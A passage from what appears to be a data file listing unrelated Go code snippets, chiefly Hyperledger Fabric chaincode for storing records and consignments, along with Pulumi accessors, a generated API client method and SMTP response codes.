[][]byte) *pb.ChaincodeSpec {\r\n\tspec := &pb.ChaincodeSpec{}\r\n\tfuncname := cc.Function\r\n\tinput := &pb.ChaincodeInput{}\r\n\tinput.Args = append(input.Args, []byte(funcname))\r\n\r\n\tfor _, arg := range args {\r\n\t\tinput.Args = append(input.Args, arg)\r\n\t}\r\n\r\n\tlogger.Debug(\"ChaincodeSpec input :\", input, \" funcname:\", funcname)\r\n\tvar golang = pb.ChaincodeSpec_Type_name[1]\r\n\tspec = &pb.ChaincodeSpec{\r\n\t\tType: pb.ChaincodeSpec_Type(pb.ChaincodeSpec_Type_value[golang]),\r\n\t\t// ChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName, Version: cc.ChaincodeVersion},\r\n\t\tChaincodeId: &pb.ChaincodeID{Name: cc.ChaincodeName},\r\n\t\tInput: input,\r\n\t}\r\n\treturn spec\r\n}","func Test_CreateStmUpdateProductByCode(t *testing.T) {\n\tresult := createStmUpdateByCode(&aldoutil.Product{}, \"\")\n\t// log.Println(result)\n\tif result == \"\" {\n\t\tt.Errorf(\"Received a empty string, want some string\")\n\t}\n}","func (c *ReturnCode) specf(format string, v ...interface{}) *ReturnCode {\n\ts := fmt.Sprintf(format, v...)\n\treturn c.spec(s)\n}","func (o InnerErrorResponseOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v InnerErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\n}","func (t *IPDCChaincode) invoke_insert_update(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_insert_update***********\")\r\n\r\n\tvar success string\r\n\r\n\tif len(args) < 1 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tsuccess = \"\"\r\n\r\n\tvar record_specification_input map[string]interface{}\r\n\r\n\tvar record_specification = make(map[string]interface{})\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\r\n\t// fmt.Println(\"************************************************\")\r\n\t// fmt.Println(args[0])\r\n\t// fmt.Println(record_specification_input)\r\n\t// fmt.Println(err)\r\n\t// fmt.Println(\"************************************************\")\r\n\r\n\tif err != nil {\r\n\t\terr = json.Unmarshal([]byte(args[1]), &record_specification_input)\r\n\t\tfmt.Println(\"------------------------------------------------\")\r\n\t\tfmt.Println(args[0])\r\n\t\tfmt.Println(record_specification_input)\r\n\t\tfmt.Println(err)\r\n\t\tfmt.Println(\"------------------------------------------------\")\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in reading input record\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in reading input record\")\r\n\t\t}\r\n\t}\r\n\r\n\terr = t.StringValidation(record_specification_input, map_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tvar check int\r\n\r\n\tcheck, err = t.Mandatoryfieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tif err != nil {\r\n\r\n\t\tsuccess = err.Error()\r\n\t}\r\n\r\n\tcheck, err = t.Datefieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tcheck, err = t.Amountfieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\trecord_specification, err = t.Mapinputfieldstotarget(record_specification_input, map_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in decoding and/or mapping record: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in decoding and/or mapping record: \" + err.Error())\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\t\t\t\tfmt.Println(spec)\r\n\t\t\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& New Record &&&&&&&& \", record_specification)\r\n\r\n\tvar default_fields interface{}\r\n\r\n\tvar default_fields_data map[string]interface{}\r\n\r\n\tvar ok_default bool\r\n\r\n\tdefault_fields, ok = map_specification[\"default_fields\"]\r\n\r\n\tif ok {\r\n\r\n\t\tdefault_fields_data, ok_default = default_fields.(map[string]interface{})\r\n\r\n\t\tif !ok_default {\r\n\r\n\t\t\tdefault_fields_data = make(map[string]interface{})\r\n\t\t}\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& Default Fields &&&&&&&& \", default_fields_data)\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"Error: There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error Failed to get state for primary key: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Failed to get state for primary key: \" + err.Error())\r\n\r\n\t}\r\n\r\n\tvar record_specification_old = make(map[string]interface{})\r\n\r\n\tif valAsBytes != nil {\r\n\r\n\t\tfmt.Println(\"Record is already present in blockchain for key \" + key)\r\n\r\n\t\terr = json.Unmarshal([]byte(valAsBytes), &record_specification_old)\r\n\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in format of blockchain record\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in format of blockchain record\")\r\n\t\t}\r\n\r\n\t\terr_del := t.delete_composite_keys(stub, specs, record_specification_old, key)\r\n\r\n\t\tif err_del != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in deleting composite keys\" + err_del.Error())\r\n\t\t}\r\n\r\n\t\tfmt.Println(\"&&&&&&& Old Record Record &&&&&&&& \", record_specification_old)\r\n\r\n\t\tfmt.Println(\"&&&&&&& New Record Record again &&&&&&&& \", record_specification)\r\n\r\n\t\tfor spec, _ := range record_specification {\r\n\r\n\t\t\t//if default_fields_data[spec]==nil {\r\n\r\n\t\t\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\r\n\t\t\t//}\r\n\t\t}\r\n\r\n\t\tfor spec, _ := range default_fields_data {\r\n\r\n\t\t\tif record_specification_old[spec] == nil {\r\n\r\n\t\t\t\trecord_specification_old[spec] = default_fields_data[spec]\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfmt.Println(\"&&&&&&& Updated Old Record Record &&&&&&&& \", record_specification_old)\r\n\r\n\t\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\r\n\r\n\t\tfmt.Println(\"Updated ---- Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//fmt.Println(\"Updated ---- err_validation is \" + err_validation.Error())\r\n\r\n\t\tif status == -2 {\r\n\r\n\t\t\tfmt.Println(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t}\r\n\r\n\t\tif err_validation != nil {\r\n\r\n\t\t\tif status == -1 {\r\n\r\n\t\t\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\tfor spec, _ := range default_fields_data {\r\n\r\n\t\t\trecord_specification_old[spec] = default_fields_data[spec]\r\n\t\t}\r\n\r\n\t\tfor spec, _ := range record_specification {\r\n\r\n\t\t\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\r\n\t\t}\r\n\r\n\t\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\r\n\r\n\t\t//fmt.Println(\"Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//if err_validation!=nil {\r\n\r\n\t\t//\tfmt.Println(\"err_validation is \" + err_validation.Error())\r\n\r\n\t\t//\tif((status == -1)||(status == -2)) {\r\n\t\t//\r\n\t\t//\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t//\t}\r\n\r\n\t\t//}\r\n\r\n\t\tfmt.Println(\"Updated ---- Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//fmt.Println(\"Updated ---- err_validation is \" + err_validation.Error())\r\n\r\n\t\tif status == -2 {\r\n\r\n\t\t\tfmt.Println(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t}\r\n\r\n\t\tif err_validation != nil {\r\n\r\n\t\t\tif status == -1 {\r\n\r\n\t\t\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tfmt.Println(\"&&&&&&& Updated Old Record Record again &&&&&&&& \", record_specification_old)\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification_old)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON\")\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& Updated Old Record JSON &&&&&&&& \" + string(concatenated_record_json))\r\n\r\n\tfmt.Println(\"&&&&&&& Key for Put &&&&&&&& \" + key)\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to put state: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to put state: \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification_old, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in creating composite keys: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in creating composite keys: \" + err.Error())\r\n\t}\r\n\r\n\tif success != \"\" {\r\n\r\n\t\tfmt.Println(\"Warnings! \" + success)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Success([]byte(\"Warnings! \" + success))\r\n\r\n\t} else {\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Success(nil)\r\n\t}\r\n\r\n}","func DecodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (o DiagnosticConditionResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticConditionResponse) string { return v.Code }).(pulumi.StringOutput)\n}","func(t* SimpleChaincode) consignmentDetail(stub shim.ChaincodeStubInterface,args []string) pb.Response {\n \n var err error\n if len(args) != 20 {\n return shim.Error(\" hi Incorrect number of arguments. Expecting 20\")\n }\n //input sanitation\n fmt.Println(\"- start filling policy detail\")\n if len(args[0])<= 0{\n return shim.Error(\"1st argument must be a non-empty string\")\n }\n if len(args[1]) <= 0 {\n return shim.Error(\"2st argument must be a non-empty string\")\n }\n if len(args[2]) <= 0 {\n return shim.Error(\"3rd argument must be a non-empty string\")\n }\n if len(args[3]) <= 0 {\n return shim.Error(\"4th argument must be a non-empty string\")\n }\n if len(args[4]) <= 0 {\n return shim.Error(\"5th argument must be a non-empty string\")\n }\n if len(args[5]) <= 0{\n return shim.Error(\"6th argument must be a non-empty string\")\n }\n if len(args[6]) <= 0{\n return shim.Error(\"7th argument must be a non-empty string\")\n }\n if len(args[7]) <= 0{\n return shim.Error(\"8th argument must be a non-empty string\")\n }\n if len(args[8]) <= 0{\n return shim.Error(\"9th argument must be a non-empty string\")\n }\n if len(args[9]) <= 0{\n return shim.Error(\"10th argument must be a non-empty string\")\n }\n if len(args[10]) <= 0{\n return shim.Error(\"11th argument must be a non-empty string\")\n }\n if len(args[11]) <= 0{\n return shim.Error(\"12th argument must be a non-empty string\")\n }\n if len(args[12]) <= 0{\n return shim.Error(\"13th argument must be a non-empty string\")\n }\n if len(args[13]) <= 0{\n return shim.Error(\"14th argument must be a non-empty string\")\n }\n if len(args[14]) <= 0{\n return shim.Error(\"15th argument must be a non-empty string\")\n }\n if len(args[15]) <= 0{\n return shim.Error(\"16th argument must be a non-empty string\")\n }\n\tif len(args[16]) <= 0{\n return shim.Error(\"17th argument must be a non-empty string\")\n }\n if len(args[17]) <= 0{\n return shim.Error(\"18th argument must be a non-empty string\")\n }\n if len(args[18]) <= 0{\n return shim.Error(\"19th argument must be a non-empty string\")\n }\n if len(args[19]) <= 0{\n return shim.Error(\"20th argument must be a non-empty string\")\n }\n \n consignment:=Consignment{}\n consignment.UserId = args[0]\n \n \n consignment.ConsignmentWeight, err = strconv.Atoi(args[1])\n if err != nil {\n return shim.Error(\"Failed to get ConsignmentWeight as cannot convert it to int\")\n }\n consignment.ConsignmentValue, err = strconv.Atoi(args[2])\n if err != nil {\n return shim.Error(\"Failed to get ConsignmentValue as cannot convert it to int\")\n }\n consignment.PolicyName=args[3]\n fmt.Println(\"consignment\", consignment)\n consignment.SumInsured, err = strconv.Atoi(args[4])\n if err != nil {\n return shim.Error(\"Failed to get SumInsured as cannot convert it to int\")\n }\n consignment.PremiumAmount, err = strconv.Atoi(args[5])\n if err != nil {\n return shim.Error(\"Failed to get Arun as cannot convert it to int\")\n }\n \n consignment.ModeofTransport=args[6]\n fmt.Println(\"consignment\", consignment)\n consignment.PackingMode=args[7]\n fmt.Println(\"consignment\", consignment)\n consignment.ConsignmentType=args[8]\n fmt.Println(\"consignment\", consignment)\n consignment.ContractType=args[9]\n fmt.Println(\"consignment\", consignment)\n consignment.PolicyType=args[10]\n fmt.Println(\"consignment\", consignment)\n \n consignment.Email=args[11]\n fmt.Println(\"consignment\", consignment)\n \n consignment.PolicyHolderName=args[12]\n fmt.Println(\"consignment\", consignment)\n consignment.UserType=args[13]\n fmt.Println(\"consignment\", consignment)\n consignment.InvoiceNo, err = strconv.Atoi(args[14])\n if err != nil {\n return shim.Error(\"Failed to get InvoiceNo as cannot convert it to int\")\n }\n consignment.PolicyNumber, err = strconv.Atoi(args[15])\n if err != nil {\n return shim.Error(\"Failed to get PolicyNumber as cannot convert it to int\")\n }\n\tconsignment.PolicyIssueDate = args[16]\n\tconsignment.PolicyEndDate = args[17]\n\tconsignment.VoyageStartDate = args[18]\n\tconsignment.VoyageEndDate = args[19]\n \n consignmentAsBytes, err := stub.GetState(\"getconsignment\")\n if err != nil {\n return shim.Error(\"Failed to get consignment\")\n }\n \n var allconsignment AllConsignment\n json.Unmarshal(consignmentAsBytes, &allconsignment) //un stringify it aka JSON.parse()\n allconsignment.Consignmentlist = append(allconsignment.Consignmentlist, consignment)\n fmt.Println(\"allconsignment\", allconsignment.Consignmentlist) //append to allconsignment\n fmt.Println(\"! appended policy to allconsignment\")\n \n jsonAsBytes, _ := json.Marshal(allconsignment)\n fmt.Println(\"json\", jsonAsBytes)\n err = stub.PutState(\"getconsignment\", jsonAsBytes) //rewrite allconsignment\n if err != nil {\n return shim.Error(err.Error())\n }\n \n fmt.Println(\"- end of the consignmentdetail\")\n return shim.Success(nil)\n \n}","func (t *SimpleChaincode) create(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running create()\")\n\nvar key, jsonResp string\nvar err error\n\nif len(args) != 8 {\n jsonResp = \" Error: Incorrect number of arguments. Expecting 8 in order of PkgID, Shipper, Insurer, Consignee, TempratureMin, TempratureMax, PackageDes, Provider \"\n return nil, errors.New(jsonResp)\n }\n\nvar packageinfo PackageInfo\n\nkey = args[0]\n\npackageinfo.PkgId = args[0]\npackageinfo.Shipper = args[1]\npackageinfo.Insurer = args[2]\npackageinfo.Consignee = args[3]\npackageinfo.TempratureMin , err = strconv.Atoi(args[4])\nif err != nil {\n jsonResp = \" Error: 5th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.TempratureMax , err = strconv.Atoi(args[5])\nif err != nil {\n jsonResp = \" Error: 5th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.PackageDes = args[6]\npackageinfo.Provider = args[7]\npackageinfo.PkgStatus = \"Label_Generated\" // Label_Generated\n\nbytes, err := json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// check for duplicate package id\nvalAsbytes, err := stub.GetState(key)\n\nif valAsbytes != nil {\n jsonResp = \" Package already present on blockchain \" + key\n return nil, errors.New(jsonResp)\n }\n\n// populate package holder\nvar packageids_array PKG_Holder\npackageids_arrayasbytes, err := stub.GetState(\"PkgIdsKey\")\n\nerr = json.Unmarshal(packageids_arrayasbytes, &packageids_array)\nif err != nil {\n fmt.Println(\"Could not marshal pkgid array object\", err)\n return nil, err\n }\n\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\npackageids_arrayasbytes, err = json.Marshal(&packageids_array)\n\n// write to blockchain\nerr = stub.PutState(\"PkgIdsKey\", packageids_arrayasbytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for PKG_Holder\")\n }\n\nerr = stub.PutState(key, bytes)\nif err != nil {\n return nil, err\n }\n\nreturn nil, nil\n}","func (*IssueCodeResponse) Descriptor() ([]byte, []int) {\n\treturn file_pkg_verifycode_pb_request_proto_rawDescGZIP(), []int{1}\n}","func (a *Client) ModifyRegistrationDetails(params *ModifyRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ModifyRegistrationDetailsOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewModifyRegistrationDetailsParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"modifyRegistrationDetails\",\n\t\tMethod: \"PATCH\",\n\t\tPathPattern: \"/applications/{appName}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &ModifyRegistrationDetailsReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*ModifyRegistrationDetailsOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for modifyRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}","func (o UserFacingErrorResponseOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v UserFacingErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\n}","func withReturnValue() string {\n\n\treturn \"hello\"\n}","func (mmGetCode *mClientMockGetCode) Return(c2 CodeDescriptor, err error) *ClientMock {\n\tif mmGetCode.mock.funcGetCode != nil {\n\t\tmmGetCode.mock.t.Fatalf(\"ClientMock.GetCode mock is already set by Set\")\n\t}\n\n\tif mmGetCode.defaultExpectation == nil {\n\t\tmmGetCode.defaultExpectation = &ClientMockGetCodeExpectation{mock: mmGetCode.mock}\n\t}\n\tmmGetCode.defaultExpectation.results = &ClientMockGetCodeResults{c2, err}\n\treturn mmGetCode.mock\n}","func (*TestReport_Setup_SetupAction_Operation_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 0, 0}\n}","func (o *IbmsPatchByIDDefault) Code() int {\n\treturn o._statusCode\n}","func init() {\n\n\tCodes = Responses{}\n\n\tCodes.FailLineTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Line too long!\",\n\t}).String()\n\n\tCodes.FailMailboxDoesntExist = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Sorry, no mailbox here by that name!\",\n\t}).String()\n\n\tCodes.FailNestedMailCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Nested mail command!\",\n\t}).String()\n\n\tCodes.FailBadSequence = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sequence!\",\n\t}).String()\n\n\tCodes.SuccessMailCmd = (&Response{\n\t\tEnhancedCode: OtherAddressStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessHelpCmd = \"214\"\n\n\tCodes.SuccessRcptCmd = (&Response{\n\t\tEnhancedCode: DestinationMailboxAddressValid,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\n\tCodes.SuccessNoopCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.ErrorUnableToResolveHost = (&Response{\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Unable to resolve host!\",\n\t\tBasicCode: 451,\n\t}).String()\n\n\tCodes.SuccessVerifyCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 252,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Cannot verify user!\",\n\t}).String()\n\n\tCodes.ErrorTooManyRecipients = (&Response{\n\t\tEnhancedCode: TooManyRecipients,\n\t\tBasicCode: 452,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Too many recipients!\",\n\t}).String()\n\n\tCodes.FailTooBig = (&Response{\n\t\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\n\t\tBasicCode: 552,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Message exceeds maximum size!\",\n\t}).String()\n\n\tCodes.FailMailboxFull = (&Response{\n\t\tEnhancedCode: MailboxFull,\n\t\tBasicCode: 522,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Users mailbox is full!\",\n\t}).String()\n\n\tCodes.ErrorRelayDenied = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorAuth = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Problem with auth!\",\n\t}).String()\n\n\tCodes.SuccessQuitCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 221,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Bye!\",\n\t}).String()\n\n\tCodes.FailNoSenderDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No sender!\",\n\t}).String()\n\n\tCodes.FailNoRecipientsDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No recipients!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 530,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Authentication required!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorRelayAccess = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 455,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Oops, problem with relay access!\",\n\t}).String()\n\n\tCodes.SuccessDataCmd = \"354 Go ahead!\"\n\n\tCodes.SuccessAuthentication = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 235,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Authentication successful!\",\n\t}).String()\n\n\tCodes.SuccessStartTLSCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 220,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Ready to start TLS!\",\n\t}).String()\n\n\tCodes.FailUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Unrecognized command!\",\n\t}).String()\n\n\tCodes.FailMaxUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Too many unrecognized commands!\",\n\t}).String()\n\n\tCodes.ErrorShutdown = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 421,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Server is shutting down. Please try again later!\",\n\t}).String()\n\n\tCodes.FailReadLimitExceededDataCmd = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailCmdNotSupported = (&Response{\n\t\tBasicCode: 502,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Cmd not supported\",\n\t}).String()\n\n\tCodes.FailUnqalifiedHostName = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Need fully-qualified hostname for domain part\",\n\t}).String()\n\n\tCodes.FailReadErrorDataCmd = (&Response{\n\t\tEnhancedCode: 